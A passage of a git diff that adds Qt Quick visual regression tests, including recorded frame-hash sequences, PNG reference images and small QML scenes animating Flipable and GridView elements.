+ Frame {
+ msec: 4016
+ hash: "c3e3db473bdb96fd619b078f0f6b3ceb"
+ }
+ Frame {
+ msec: 4032
+ hash: "acfd8aaf0bb52ad3ef3116bb99f3656a"
+ }
+ Frame {
+ msec: 4048
+ hash: "c5a0877ce86c26b30b642818e83d6118"
+ }
+ Frame {
+ msec: 4064
+ hash: "b187fde9af2bad37f84f6324afcbb303"
+ }
+ Frame {
+ msec: 4080
+ hash: "0dfe035424d7f31dda88be3b4bb30c8a"
+ }
+ Frame {
+ msec: 4096
+ hash: "893bddc95fbf6e452ba61b06eab1a8c5"
+ }
+ Frame {
+ msec: 4112
+ hash: "35fb89ea579819f4b3416ff1c1b1cc9d"
+ }
+ Frame {
+ msec: 4128
+ hash: "316371649f9a1e12e336c5823408eaf9"
+ }
+ Frame {
+ msec: 4144
+ hash: "ade751c6e497c73a920baf18f0752908"
+ }
+ Frame {
+ msec: 4160
+ hash: "86720fa1eeae374c6cc67e107d27e23a"
+ }
+ Frame {
+ msec: 4176
+ hash: "1a6f080227f1ccd03b6c4093b9fdadb3"
+ }
+ Frame {
+ msec: 4192
+ hash: "f7d7398edba69716ec8c0699d5472dca"
+ }
+ Frame {
+ msec: 4208
+ hash: "9e62c9dd25abb203f5c06c7bff0d8363"
+ }
+ Frame {
+ msec: 4224
+ hash: "fd90404238b458fc86a4a17e6a976f9b"
+ }
+ Frame {
+ msec: 4240
+ hash: "e39668dc347318fc61a365f9006aab3c"
+ }
+ Frame {
+ msec: 4256
+ hash: "c40f41f635f10f5f9b04b42ba2dc5bb1"
+ }
+ Frame {
+ msec: 4272
+ hash: "c0f971c75b7237de7e9b2f25cc3f34b2"
+ }
+ Frame {
+ msec: 4288
+ hash: "a1c79481fd1632cfdc396aefb3592534"
+ }
+ Frame {
+ msec: 4304
+ hash: "6eee76f40fc7ec1a1e3d77c849321740"
+ }
+ Frame {
+ msec: 4320
+ hash: "0a36746ab17caef5946731c31af3823f"
+ }
+ Frame {
+ msec: 4336
+ hash: "863dedd22df4e1d14e73eaeb851e9b66"
+ }
+ Frame {
+ msec: 4352
+ hash: "318e8751f7056bb6a004c8a7ce7be870"
+ }
+ Frame {
+ msec: 4368
+ hash: "8fb2809a366f42c86fad7aa5db3ff22c"
+ }
+ Frame {
+ msec: 4384
+ hash: "8aaea666640cb3b27e3374f756fe411b"
+ }
+ Frame {
+ msec: 4400
+ hash: "1f552095d26a8d145584e36237630916"
+ }
+ Frame {
+ msec: 4416
+ hash: "cd5aa55715786cac0f7efc90c7c4b9d6"
+ }
+ Frame {
+ msec: 4432
+ hash: "7a3153d9309ec338dce3437ecf667646"
+ }
+ Frame {
+ msec: 4448
+ hash: "c7fa40e69148f1c5ec494ad159b6ce6c"
+ }
+ Frame {
+ msec: 4464
+ hash: "e131bc8ca25ddc4b7dd6582ff034fe14"
+ }
+ Frame {
+ msec: 4480
+ hash: "3174c672e62dae0341d5849e23031280"
+ }
+ Frame {
+ msec: 4496
+ hash: "0b25fb7d33708a3292ede7c66e25a3d7"
+ }
+ Frame {
+ msec: 4512
+ hash: "84b3cf92b3abc2f5acf07cfccf3c0202"
+ }
+ Frame {
+ msec: 4528
+ hash: "fafbd14d296e4954bce7816d811ddd89"
+ }
+ Frame {
+ msec: 4544
+ hash: "865018d8408863b741a7082a962236dc"
+ }
+ Frame {
+ msec: 4560
+ hash: "f626082691429565b55ce9e04b14a665"
+ }
+ Frame {
+ msec: 4576
+ hash: "8a02f7d3d53e98384d1f05dc7fc5fd37"
+ }
+ Frame {
+ msec: 4592
+ hash: "6af3a8305b25a9a769b8cf00479c6ab3"
+ }
+ Frame {
+ msec: 4608
+ hash: "b31470b0ac4a593317abc365acb2b281"
+ }
+ Frame {
+ msec: 4624
+ hash: "efd00c43b1b8bbc4bc5496dcfa58c6b0"
+ }
+ Frame {
+ msec: 4640
+ hash: "498cf6c20aeca609e9d9cea78f0cc6a3"
+ }
+ Frame {
+ msec: 4656
+ hash: "b55661b5d9632bc0d7fc7ff3a421a2e7"
+ }
+ Frame {
+ msec: 4672
+ hash: "2f1e402c5e4a0615528f91dd2e183ddd"
+ }
+ Frame {
+ msec: 4688
+ hash: "d1c166cc7932e72ba22a73637cad65d6"
+ }
+ Frame {
+ msec: 4704
+ hash: "374b703e0059fc80b67480113d584754"
+ }
+ Frame {
+ msec: 4720
+ hash: "e8de71d4a2a253e366b2edf5d475824d"
+ }
+ Frame {
+ msec: 4736
+ hash: "6a9d033b332f0c0285284fdaddf3bbdb"
+ }
+ Frame {
+ msec: 4752
+ hash: "640c227fb62e40c666035e7465ac5c4e"
+ }
+ Frame {
+ msec: 4768
+ hash: "9cf7dc6507befd6ae54f380a7d87a207"
+ }
+ Frame {
+ msec: 4784
+ hash: "d1c7b2160c08e03e7a98d7d2db0116f7"
+ }
+ Frame {
+ msec: 4800
+ hash: "03f17b2cd781f2ee0ae5664a0491166c"
+ }
+ Frame {
+ msec: 4816
+ image: "test-flipable.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "2dfa5fdfd07e7000caee6abf5fe84378"
+ }
+ Frame {
+ msec: 4848
+ hash: "2b0c2f019b07f1f8b4e5af9a520ab061"
+ }
+ Frame {
+ msec: 4864
+ hash: "33cb1aaeb7dafc2475e4337be7cc7892"
+ }
+ Frame {
+ msec: 4880
+ hash: "91290d1435bedb5010ba135a7f99c0a2"
+ }
+ Frame {
+ msec: 4896
+ hash: "df7434eb6c6e5d45935d6c6fd03f06d1"
+ }
+ Frame {
+ msec: 4912
+ hash: "48dfe78dcdd65242132071454fb9ea33"
+ }
+ Frame {
+ msec: 4928
+ hash: "1b288012e123cb6051bfa180ea2a2bc0"
+ }
+ Frame {
+ msec: 4944
+ hash: "84b23d92987f59df336d9b269e3b7bbc"
+ }
+ Frame {
+ msec: 4960
+ hash: "c413ca53240df702c3ba0c7f4dacca3b"
+ }
+ Frame {
+ msec: 4976
+ hash: "339c06a2e1fc05ebfd3732097b9c5242"
+ }
+ Frame {
+ msec: 4992
+ hash: "f1e647e274ac8c8458d2c1e576623688"
+ }
+ Frame {
+ msec: 5008
+ hash: "a70dc2f51ecfc164595cfef61c1da245"
+ }
+ Frame {
+ msec: 5024
+ hash: "b69f034a71b53c885cd177da422d5fc7"
+ }
+ Frame {
+ msec: 5040
+ hash: "26c25a031944c677b30f69c8498ac6ce"
+ }
+ Frame {
+ msec: 5056
+ hash: "ebc2328766e8736eac989e309968d8f9"
+ }
+ Frame {
+ msec: 5072
+ hash: "41d55f53bfc74e614c906d3f6b813704"
+ }
+ Frame {
+ msec: 5088
+ hash: "135e97adb3f19aa19d746ece1b2b3d02"
+ }
+ Frame {
+ msec: 5104
+ hash: "85c4454dbe9a39b3005f32fd7a06b1b2"
+ }
+ Frame {
+ msec: 5120
+ hash: "7561e0dd6970f7c81bcb53c9371d4405"
+ }
+ Frame {
+ msec: 5136
+ hash: "c9961d5abf700a06ed294ce7aecb6147"
+ }
+ Frame {
+ msec: 5152
+ hash: "29acf87effa3c21322334080776c566e"
+ }
+ Frame {
+ msec: 5168
+ hash: "04990a79d5ff5cb41dcd48d3e3bf5b11"
+ }
+ Frame {
+ msec: 5184
+ hash: "f40c78c37a26249ecb161af778631f7b"
+ }
+ Frame {
+ msec: 5200
+ hash: "eddacaeae7c47d063db737f678896da1"
+ }
+ Frame {
+ msec: 5216
+ hash: "5ae523dc1115fd0904875718e05aa2a5"
+ }
+ Frame {
+ msec: 5232
+ hash: "f09c299412a9e2fd353c4937ad959f25"
+ }
+ Frame {
+ msec: 5248
+ hash: "9caeae0abd3bc665bd307997baea6a48"
+ }
+ Frame {
+ msec: 5264
+ hash: "e9d222c9d23773488b64b0a6323c1095"
+ }
+ Frame {
+ msec: 5280
+ hash: "ad34c46ab3d418a2af7bffc59e720868"
+ }
+ Frame {
+ msec: 5296
+ hash: "ff0d8cfd272fca5be34b663a7e52f283"
+ }
+ Frame {
+ msec: 5312
+ hash: "55f95277276217de16b6b43090bbb807"
+ }
+ Frame {
+ msec: 5328
+ hash: "387fadf4140d335c0b05cfee0c37a413"
+ }
+ Frame {
+ msec: 5344
+ hash: "10a1a5a91c11aa8279ae4e57e4d3946b"
+ }
+ Frame {
+ msec: 5360
+ hash: "414f7bf3a3ec05a9840cd104a13d5504"
+ }
+ Frame {
+ msec: 5376
+ hash: "e027716402ead36450732c8350e614b5"
+ }
+ Frame {
+ msec: 5392
+ hash: "0190f59275f01429ee6761b39ce99fc1"
+ }
+ Frame {
+ msec: 5408
+ hash: "7f99dd337561f006a7c56babe3c10c38"
+ }
+ Frame {
+ msec: 5424
+ hash: "4bbb76393e56b5da723c1f33a7694013"
+ }
+ Frame {
+ msec: 5440
+ hash: "00eedf86916629fe90f3c2f36e0c689e"
+ }
+ Frame {
+ msec: 5456
+ hash: "84d1f5a6604b75371f2fa7b60a59299b"
+ }
+ Frame {
+ msec: 5472
+ hash: "00488220a460746be6d7d1b66d15c392"
+ }
+ Frame {
+ msec: 5488
+ hash: "cae5a6d45425d641228210a47c5ee5f6"
+ }
+ Frame {
+ msec: 5504
+ hash: "670a2132e65564ca2cfd58ec9842ba93"
+ }
+ Frame {
+ msec: 5520
+ hash: "212b6cc9fa130bec9579cf218e1f7eeb"
+ }
+ Frame {
+ msec: 5536
+ hash: "b159e67541b5b1b5071f6cd041c62293"
+ }
+ Frame {
+ msec: 5552
+ hash: "8c4e62d26e19c32200772edefd329db3"
+ }
+ Frame {
+ msec: 5568
+ hash: "1ff120d0444e398cc79190012b548b4b"
+ }
+ Frame {
+ msec: 5584
+ hash: "1c75bccd5e19ee9a2644585b726db048"
+ }
+ Frame {
+ msec: 5600
+ hash: "bc16aff96b1f9cfe3807e95e371a8f26"
+ }
+ Frame {
+ msec: 5616
+ hash: "35a5fdb20bdbaf0122cac4cad60e7bb8"
+ }
+ Frame {
+ msec: 5632
+ hash: "ea7ac72c81abff8af260be508b6cf117"
+ }
+ Frame {
+ msec: 5648
+ hash: "2d112d040fd425c59b511066737e494d"
+ }
+ Frame {
+ msec: 5664
+ hash: "769d2724656dbf0e793ecd8e42db3de2"
+ }
+ Frame {
+ msec: 5680
+ hash: "1c25b3d65e8590f8c213afa76b722e97"
+ }
+ Frame {
+ msec: 5696
+ hash: "760a103d4524f8b665c6ff42185a8ce7"
+ }
+ Frame {
+ msec: 5712
+ hash: "451a9408b04826ab35749d9120efd6bb"
+ }
+ Frame {
+ msec: 5728
+ hash: "3fad6b23b0b78f844e02fe307e20d376"
+ }
+ Frame {
+ msec: 5744
+ hash: "451a9408b04826ab35749d9120efd6bb"
+ }
+ Frame {
+ msec: 5760
+ hash: "73c06997014af4e008b546b53fe349fb"
+ }
+ Frame {
+ msec: 5776
+ image: "test-flipable.6.png"
+ }
+ Frame {
+ msec: 5792
+ hash: "90fb4e4ba04ac32b52c10b3258431c04"
+ }
+ Frame {
+ msec: 5808
+ hash: "da2a1e5e988c27577ceb453cb0383703"
+ }
+ Frame {
+ msec: 5824
+ hash: "ae2407f8da9a047d2725bcdcf8e568b2"
+ }
+ Frame {
+ msec: 5840
+ hash: "ae2407f8da9a047d2725bcdcf8e568b2"
+ }
+ Frame {
+ msec: 5856
+ hash: "e97a5d968da37789c28816608fa262a1"
+ }
+ Frame {
+ msec: 5872
+ hash: "9becb90d9f8a61f5afacdc53d137ebcb"
+ }
+ Frame {
+ msec: 5888
+ hash: "9811f823e057882d384f36d7227fa12e"
+ }
+ Frame {
+ msec: 5904
+ hash: "1e7a308d18851db0a430542178944c67"
+ }
+ Frame {
+ msec: 5920
+ hash: "692931f1db6ddf0b37eb64026ca830f8"
+ }
+ Frame {
+ msec: 5936
+ hash: "2117c775960234c297187ea2e9d51e73"
+ }
+ Frame {
+ msec: 5952
+ hash: "f8038dc4b67b92ef776a97589240e8c5"
+ }
+ Frame {
+ msec: 5968
+ hash: "51dff66a7767e3464fda60f2cf906700"
+ }
+ Frame {
+ msec: 5984
+ hash: "7e16e6360fc2e9db67dbf11d58042745"
+ }
+ Frame {
+ msec: 6000
+ hash: "7e16e6360fc2e9db67dbf11d58042745"
+ }
+ Frame {
+ msec: 6016
+ hash: "7e16e6360fc2e9db67dbf11d58042745"
+ }
+ Frame {
+ msec: 6032
+ hash: "7e16e6360fc2e9db67dbf11d58042745"
+ }
+ Frame {
+ msec: 6048
+ hash: "7e16e6360fc2e9db67dbf11d58042745"
+ }
+ Frame {
+ msec: 6064
+ hash: "51dff66a7767e3464fda60f2cf906700"
+ }
+ Frame {
+ msec: 6080
+ hash: "f8038dc4b67b92ef776a97589240e8c5"
+ }
+ Frame {
+ msec: 6096
+ hash: "2117c775960234c297187ea2e9d51e73"
+ }
+ Frame {
+ msec: 6112
+ hash: "692931f1db6ddf0b37eb64026ca830f8"
+ }
+ Frame {
+ msec: 6128
+ hash: "f01b7368e42381dda5eadf56482ea993"
+ }
+ Frame {
+ msec: 6144
+ hash: "9811f823e057882d384f36d7227fa12e"
+ }
+ Frame {
+ msec: 6160
+ hash: "9b40b6c75af876567ff49688bc710f2a"
+ }
+ Frame {
+ msec: 6176
+ hash: "e97a5d968da37789c28816608fa262a1"
+ }
+ Frame {
+ msec: 6192
+ hash: "2cd0627fdc63bb91f8dcac789d7a93b2"
+ }
+ Frame {
+ msec: 6208
+ hash: "ae2407f8da9a047d2725bcdcf8e568b2"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 6224
+ hash: "90fb4e4ba04ac32b52c10b3258431c04"
+ }
+ Frame {
+ msec: 6240
+ hash: "90fb4e4ba04ac32b52c10b3258431c04"
+ }
+ Frame {
+ msec: 6256
+ hash: "90fb4e4ba04ac32b52c10b3258431c04"
+ }
+ Frame {
+ msec: 6272
+ hash: "90fb4e4ba04ac32b52c10b3258431c04"
+ }
+ Frame {
+ msec: 6288
+ hash: "73c06997014af4e008b546b53fe349fb"
+ }
+ Frame {
+ msec: 6304
+ hash: "451a9408b04826ab35749d9120efd6bb"
+ }
+ Frame {
+ msec: 6320
+ hash: "451a9408b04826ab35749d9120efd6bb"
+ }
+ Frame {
+ msec: 6336
+ hash: "3fad6b23b0b78f844e02fe307e20d376"
+ }
+ Frame {
+ msec: 6352
+ hash: "1c25b3d65e8590f8c213afa76b722e97"
+ }
+ Frame {
+ msec: 6368
+ hash: "769d2724656dbf0e793ecd8e42db3de2"
+ }
+ Frame {
+ msec: 6384
+ hash: "9e375cb3815723a2c5dda39c79325e96"
+ }
+ Frame {
+ msec: 6400
+ hash: "77a245991ed8e40163bd0224eb15f20e"
+ }
+ Frame {
+ msec: 6416
+ hash: "e6936f1122c8c0a76b0eb61ad086a9f1"
+ }
+ Frame {
+ msec: 6432
+ hash: "8048f84221a02e7102cf3272445862a1"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test_flipable_resize.0.png b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test_flipable_resize.0.png
new file mode 100644
index 00000000..814cc892
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test_flipable_resize.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test_flipable_resize.qml b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test_flipable_resize.qml
new file mode 100644
index 00000000..d211832b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/data/test_flipable_resize.qml
@@ -0,0 +1,207 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "test_flipable_resize.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "8d8c6a3c37ba3cb77afcc7ed4234d40f"
+ }
+ Frame {
+ msec: 48
+ hash: "93ab01494e2229c0921c25d3acbcffe6"
+ }
+ Frame {
+ msec: 64
+ hash: "5036bf3c842e5ad09b7bac5512e433ad"
+ }
+ Frame {
+ msec: 80
+ hash: "ef02ef4598fbe6390391b7f2c17ec99d"
+ }
+ Frame {
+ msec: 96
+ hash: "7fa83afca86cfec48a4986ba3df08e3b"
+ }
+ Frame {
+ msec: 112
+ hash: "d9388827bd7755bb9bc1ef78507cc0ac"
+ }
+ Frame {
+ msec: 128
+ hash: "d18778f4f748f7ee54404db334831ff7"
+ }
+ Frame {
+ msec: 144
+ hash: "fee69ae3b4d79b795d4443b055a8a91a"
+ }
+ Frame {
+ msec: 160
+ hash: "f80fa0131c859286e900071b51e74784"
+ }
+ Frame {
+ msec: 176
+ hash: "b654e51ea71ec118e6b985743281b6a1"
+ }
+ Frame {
+ msec: 192
+ hash: "91c771226e9c97e0f00c6f7c6fc6c95c"
+ }
+ Frame {
+ msec: 208
+ hash: "0f612f81541b093442e68d99e00c288c"
+ }
+ Frame {
+ msec: 224
+ hash: "246b619598606fef9f0442439cee4ec6"
+ }
+ Frame {
+ msec: 240
+ hash: "1d2f34459b2128877218cef340f46f06"
+ }
+ Frame {
+ msec: 256
+ hash: "af3c2eef734da05d45484bbb19646425"
+ }
+ Frame {
+ msec: 272
+ hash: "85dfe5680e47919500728de6e93c8290"
+ }
+ Frame {
+ msec: 288
+ hash: "8fd7d439bafa07461a65a3c97cf8602a"
+ }
+ Frame {
+ msec: 304
+ hash: "1ebf543a84aae4abfd480f24ad362cb0"
+ }
+ Frame {
+ msec: 320
+ hash: "60a9c9300981282986659e7c73d381b0"
+ }
+ Frame {
+ msec: 336
+ hash: "686f3ff048f2b214033988d989ed087a"
+ }
+ Frame {
+ msec: 352
+ hash: "24694e17476b0ffe9848159aa282e931"
+ }
+ Frame {
+ msec: 368
+ hash: "c05e1bdf62e3e58972f868b930823a58"
+ }
+ Frame {
+ msec: 384
+ hash: "cbc1a3c78b8f79047d1221d5ae06f0f8"
+ }
+ Frame {
+ msec: 400
+ hash: "05ad366e74bf30b1619cf2ef1f530d82"
+ }
+ Frame {
+ msec: 416
+ hash: "4c5c536f2c03ecfb7d3d8f56638001ec"
+ }
+ Frame {
+ msec: 432
+ hash: "9754048ffcb7863a8a676e5bee4a7991"
+ }
+ Frame {
+ msec: 448
+ hash: "047aa8203ad18023f5af340a41f1084e"
+ }
+ Frame {
+ msec: 464
+ hash: "1351b7c92cd873db387e93dc74cca848"
+ }
+ Frame {
+ msec: 480
+ hash: "4066f52fae753013396195dc98311058"
+ }
+ Frame {
+ msec: 496
+ hash: "21d969b92993e428e79babb574e9203d"
+ }
+ Frame {
+ msec: 512
+ hash: "62c00f52e8b0592fbb59f88deb3b022e"
+ }
+ Frame {
+ msec: 528
+ hash: "322719dee40d3495e9b4d2faac351e89"
+ }
+ Frame {
+ msec: 544
+ hash: "322719dee40d3495e9b4d2faac351e89"
+ }
+ Frame {
+ msec: 560
+ hash: "322719dee40d3495e9b4d2faac351e89"
+ }
+ Frame {
+ msec: 576
+ hash: "322719dee40d3495e9b4d2faac351e89"
+ }
+ Frame {
+ msec: 592
+ hash: "322719dee40d3495e9b4d2faac351e89"
+ }
+ Frame {
+ msec: 608
+ hash: "322719dee40d3495e9b4d2faac351e89"
+ }
+ Frame {
+ msec: 624
+ hash: "322719dee40d3495e9b4d2faac351e89"
+ }
+ Frame {
+ msec: 640
+ hash: "322719dee40d3495e9b4d2faac351e89"
+ }
+ Frame {
+ msec: 656
+ hash: "322719dee40d3495e9b4d2faac351e89"
+ }
+ Frame {
+ msec: 672
+ hash: "322719dee40d3495e9b4d2faac351e89"
+ }
+ Frame {
+ msec: 688
+ hash: "322719dee40d3495e9b4d2faac351e89"
+ }
+ Frame {
+ msec: 704
+ hash: "322719dee40d3495e9b4d2faac351e89"
+ }
+ Frame {
+ msec: 720
+ hash: "322719dee40d3495e9b4d2faac351e89"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 736
+ hash: "322719dee40d3495e9b4d2faac351e89"
+ }
+ Frame {
+ msec: 752
+ hash: "322719dee40d3495e9b4d2faac351e89"
+ }
+ Frame {
+ msec: 768
+ hash: "322719dee40d3495e9b4d2faac351e89"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflipable/test-flipable.qml b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/test-flipable.qml
new file mode 100644
index 00000000..8a178b3f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/test-flipable.qml
@@ -0,0 +1,79 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400; height: 240
+ color: "white"
+
+ Timer {
+ interval: 3000; running: true; repeat: true; triggeredOnStart: true
+ onTriggered: {
+ if (flipable.state == '') flipable.state = 'back'; else flipable.state = ''
+ if (flipable2.state == '') flipable2.state = 'back'; else flipable2.state = ''
+ }
+ }
+
+ Flipable {
+ id: flipable
+ width: 200; height: 200
+
+ transform: Rotation {
+ id: rotation; angle: 0
+ origin.x: 100; origin.y: 100
+ axis.x: 0; axis.y: 1; axis.z: 0
+ }
+
+ front: Rectangle {
+ color: "steelblue"; width: 200; height: 200
+ }
+
+ back: Rectangle {
+ color: "deeppink"; width: 200; height: 200
+ }
+
+ states: State {
+ name: "back"
+ PropertyChanges { target: rotation; angle: 180 }
+ }
+
+ transitions: Transition {
+ NumberAnimation { easing.type: "InOutQuad"; properties: "angle"; duration: 3000 }
+ }
+ }
+
+ Flipable {
+ id: flipable2
+ x: 200; width: 200; height: 200
+
+ transform: Rotation {
+ id: rotation2; angle: 0
+ origin.x: 100; origin.y: 100
+ axis.x: 1; axis.z: 0
+ }
+
+ front: Rectangle {
+ color: "deeppink"; width: 200; height: 200
+ }
+
+ back: Rectangle {
+ color: "steelblue"; width: 200; height: 200
+ }
+
+ states: State {
+ name: "back"
+ PropertyChanges { target: rotation2; angle: 180 }
+ }
+
+ transitions: Transition {
+ NumberAnimation { easing.type: "InOutQuad"; properties: "angle"; duration: 3000 }
+ }
+ }
+
+ Rectangle {
+ x: 25; width: 150; y: 210; height: 20; color: "black"
+ visible: flipable.side == Flipable.Front
+ }
+ Rectangle {
+ x: 225; width: 150; y: 210; height: 20; color: "black"
+ visible: flipable2.side == Flipable.Back
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflipable/test_flipable_resize.qml b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/test_flipable_resize.qml
new file mode 100644
index 00000000..8aeb6c8f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflipable/test_flipable_resize.qml
@@ -0,0 +1,62 @@
+import QtQuick 1.0
+Item { //realWindow
+ width: 370
+ height: 480
+ Item {
+ id: window
+ NumberAnimation on width{ from:320; to:370; duration: 500 }
+ NumberAnimation on height{ from:480; to:320; duration: 500 }
+ Flipable {
+ id: flipable
+ x: 0
+ y: window.height / 3.0 - 40
+ width: parent.width
+ height: parent.height
+ transform: Rotation {
+ id: transform
+ origin.x: window.width / 2.0
+ origin.y: 0
+ origin.z: 0
+ axis.x: 0
+ axis.y: 1
+ axis.z: 0
+ angle: 0;
+ }
+ front: Rectangle{
+ width: parent.width
+ height: 80
+ color: "blue"
+ }back: Rectangle{
+ width: parent.width
+ height: 80
+ color: "red"
+ }
+ }
+ Flipable {
+ id: flipableBack
+ x: 0
+ y: 2.0 * window.height / 3.0 - 40
+ width: parent.width
+ height: parent.height
+ transform: Rotation {
+ id: transformBack
+ origin.x: window.width / 2.0
+ origin.y: 0
+ origin.z: 0
+ axis.x: 0
+ axis.y: 1
+ axis.z: 0
+ angle: 180;
+ }
+ front: Rectangle{
+ width: parent.width
+ height: 80
+ color: "blue"
+ }back: Rectangle{
+ width: parent.width
+ height: 80
+ color: "red"
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.0.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.0.png
new file mode 100644
index 00000000..b053048f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.1.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.1.png
new file mode 100644
index 00000000..c675be72
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.10.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.10.png
new file mode 100644
index 00000000..c675be72
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.10.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.2.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.2.png
new file mode 100644
index 00000000..9f605c35
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.3.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.3.png
new file mode 100644
index 00000000..767d7a9f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.4.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.4.png
new file mode 100644
index 00000000..20146c93
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.5.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.5.png
new file mode 100644
index 00000000..85fac891
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.6.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.6.png
new file mode 100644
index 00000000..e522baee
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.7.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.7.png
new file mode 100644
index 00000000..f9192e46
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.8.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.8.png
new file mode 100644
index 00000000..ad187bdd
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.8.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.9.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.9.png
new file mode 100644
index 00000000..96c63257
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.9.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.qml b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.qml
new file mode 100644
index 00000000..6f0352d8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.qml
@@ -0,0 +1,2859 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "gridview.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "c33447c78ea64452ec3cd1696fb502eb"
+ }
+ Frame {
+ msec: 48
+ hash: "c33447c78ea64452ec3cd1696fb502eb"
+ }
+ Frame {
+ msec: 64
+ hash: "c33447c78ea64452ec3cd1696fb502eb"
+ }
+ Frame {
+ msec: 80
+ hash: "c33447c78ea64452ec3cd1696fb502eb"
+ }
+ Frame {
+ msec: 96
+ hash: "c33447c78ea64452ec3cd1696fb502eb"
+ }
+ Frame {
+ msec: 112
+ hash: "c33447c78ea64452ec3cd1696fb502eb"
+ }
+ Frame {
+ msec: 128
+ hash: "c33447c78ea64452ec3cd1696fb502eb"
+ }
+ Frame {
+ msec: 144
+ hash: "c33447c78ea64452ec3cd1696fb502eb"
+ }
+ Frame {
+ msec: 160
+ hash: "c33447c78ea64452ec3cd1696fb502eb"
+ }
+ Frame {
+ msec: 176
+ hash: "c33447c78ea64452ec3cd1696fb502eb"
+ }
+ Frame {
+ msec: 192
+ hash: "c33447c78ea64452ec3cd1696fb502eb"
+ }
+ Frame {
+ msec: 208
+ hash: "c33447c78ea64452ec3cd1696fb502eb"
+ }
+ Frame {
+ msec: 224
+ hash: "c33447c78ea64452ec3cd1696fb502eb"
+ }
+ Frame {
+ msec: 240
+ hash: "c33447c78ea64452ec3cd1696fb502eb"
+ }
+ Frame {
+ msec: 256
+ hash: "c33447c78ea64452ec3cd1696fb502eb"
+ }
+ Frame {
+ msec: 272
+ hash: "c33447c78ea64452ec3cd1696fb502eb"
+ }
+ Frame {
+ msec: 288
+ hash: "c33447c78ea64452ec3cd1696fb502eb"
+ }
+ Frame {
+ msec: 304
+ hash: "c33447c78ea64452ec3cd1696fb502eb"
+ }
+ Frame {
+ msec: 320
+ hash: "c33447c78ea64452ec3cd1696fb502eb"
+ }
+ Frame {
+ msec: 336
+ hash: "c33447c78ea64452ec3cd1696fb502eb"
+ }
+ Frame {
+ msec: 352
+ hash: "c33447c78ea64452ec3cd1696fb502eb"
+ }
+ Frame {
+ msec: 368
